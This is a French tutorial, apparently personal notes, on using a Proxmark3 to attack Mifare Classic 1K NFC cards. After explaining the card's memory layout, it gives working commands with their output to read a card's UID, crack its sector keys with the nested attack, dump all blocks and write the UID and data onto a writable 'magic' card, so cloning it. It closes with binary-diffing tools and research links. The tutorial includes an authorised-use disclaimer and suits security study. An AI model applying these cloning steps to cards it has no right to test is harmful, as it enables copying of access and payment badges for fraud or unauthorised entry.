https://github.com/Proxmark/proxmark3
Tutoriel de l'utilisation du Proxmark avec des Cartes Mifare
Mifare est une marque de carte NFC appartenant à NXP. Il existe différents modèles de carte Mifare, on peut notamment citer : – Mifare Classic (avec 1 ou 4K de mémoire) – Mifare Ultralight – Mifare DESFireChaque type de carte ayant ses spécificités et ses variantes. Pour ce document, je me suis concentré sur l’étude des Mifare Classic 1K qui est un des modèles les plus répandu.
Organisation de la memoire
La mémoire des cartes Mifare 1K est divisée en 16 secteurs de 4 blocs contenant chacun 16 octets. Le 4ème bloc de chaque secteur contient les deux clés, nommée A et B, de taille de 6 octets, ainsi que 4 octets contenant les bits d’accès (un octet par bloc du secteur). Chaque bloc a besoin d’être authentifié, soit par la clé A, soit par la clé B, en fonction des bits d’accès. De plus les accès (lecture/écriture) sont aussi déterminés par les bits d’accès.Le premier bloc, appelé ”Manufacturer block” est un bloc particulier. Il contient l’UID de la carte (compren-dre son identifiant), ainsi que des données d’usines et est en lecture seule. Ces cartes possèdent donc 2+3*15 blocs de 16 octets disponible pour les données, soit 752 octets
Ce tutoriel ne doit s'exercer que sur des systèmes que vous possédez ou sur lequel vous avez le droit d'audit.
S'assurer qu'on a la dernière version du firmware et bootloader
Voir la vidèo d'installation: https://www.youtube.com/watch?v=MziySohCY6s prendre la derniere version du driver : https://lab401.com/proxmark/drivers/win32/latest ce lien vous renvoie vers https://www.proxmarkbuilds.org/
Afficher l'uid de la carte que je veux cloner
proxmark3> hf search
#db# DownloadFPGA(len: 42096)
UID : ad 4e a5 45
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search
Casser les clefs de la carte
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested…
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
Iterations count: 2
— | —————- | — | —————- | — |
sec | key A | res | key B | res |
— | —————- | — | —————- | — |
000 | ffffffffffff | 1 | ffffffffffff | 1 |
001 | 080808080808 | 1 | ffffffffffff | 1 |
002 | 080808080808 | 1 | ffffffffffff | 1 |
003 | ffffffffffff | 1 | ffffffffffff | 1 |
004 | ffffffffffff | 1 | ffffffffffff | 1 |
005 | ffffffffffff | 1 | ffffffffffff | 1 |
006 | ffffffffffff | 1 | ffffffffffff | 1 |
007 | ffffffffffff | 1 | ffffffffffff | 1 |
008 | ffffffffffff | 1 | ffffffffffff | 1 |
009 | ffffffffffff | 1 | ffffffffffff | 1 |
010 | ffffffffffff | 1 | ffffffffffff | 1 |
011 | ffffffffffff | 1 | ffffffffffff | 1 |
012 | ffffffffffff | 1 | ffffffffffff | 1 |
013 | ffffffffffff | 1 | ffffffffffff | 1 |
014 | ffffffffffff | 1 | ffffffffffff | 1 |
015 | ffffffffffff | 1 | ffffffffffff | 1 |
— | —————- | — | —————- | — |
Printing keys to binary file dumpkeys.bin…
Dumper les données de la carte
proxmark3> hf mf dump
—————————————– |
—— Reading sector access bits…—– |
—————————————– |
#db# READ BLOCK FINISHED
…omitted for brevity…
#db# READ BLOCK FINISHED
—————————————– |
—– Dumping all blocks to file… —– |
—————————————– |
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
…omitted for brevity…
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
Mettre le uid sur la magic card avec uid modifiable
hf mf csetuid ad4ea545
Mettre les données sur la magic card avec uid modifiable
hf mf restore
hf mf eload MagicChineeseCard
, MagicChineeseCard dump's file name (.eml) of a Magic Chineese Card
hf mf cload MagicChineeseCard
script run remagic
hf mf eclr
script run formatMifare.lua
utiliser :
bindiff
https://www.zynamics.com/software.html
PatchDiff2 avec ida sinon
Diaphora avec ida
hxd
ultracompare aussi (shareware)
hexdump.exe
sous linux : binwalk
encours de construction ..
https://github.com/Proxmark/proxmark3/wiki/Mifare-HowTo
https://github.com/Proxmark/proxmark3/wiki/Mifare-Tag-Ops
https://github.com/Proxmark/proxmark3/wiki/Generic-ISO14443-Ops
https://github.com/Proxmark/proxmark3/wiki/Generic-ISO15693-Ops
https://github.com/Proxmark/proxmark3/wiki/Mifare-Tag-Ops
Black Hat, Sao Paulo 2014 https://www.blackhat.com/docs/sp-14/materials/arsenal/sp-14-Almeida-Hacking-MIFARE-Classic-Cards-Slides.pdf
http://esec-pentest.sogeti.com/posts/2011/11/28/playing-with-nfc-for-fun-and-coffee.html
Mifare Classic,analysis in Czech Republic / Slovakia, slides https://nethemba.com/resources/mifare-classic-slides.pdf
Dismantling MIFARE Classic, The Netherlands, http://www.sos.cs.ru.nl/applications/rfid/2008-esorics-slides.pdf
Cooking with Mifare Classic , https://dl.packetstormsecurity.net/papers/general/cooking-with-mifare-classic-PS.pdf
Rump coffee plz du SSTIC 2018 , https://static.sstic.org/rumps2018/SSTIC_2018-06-14_P10_RUMPS_21.mp4
Proxmark 3 Cheat Sheet , https://scund00r.com/all/rfid/2018/06/05/proxmark-cheatsheet.html
Debricking Proxmark 3 using the Bus Pirate, https://scund00r.com/all/rfid/2018/05/18/debrick-proxmark.html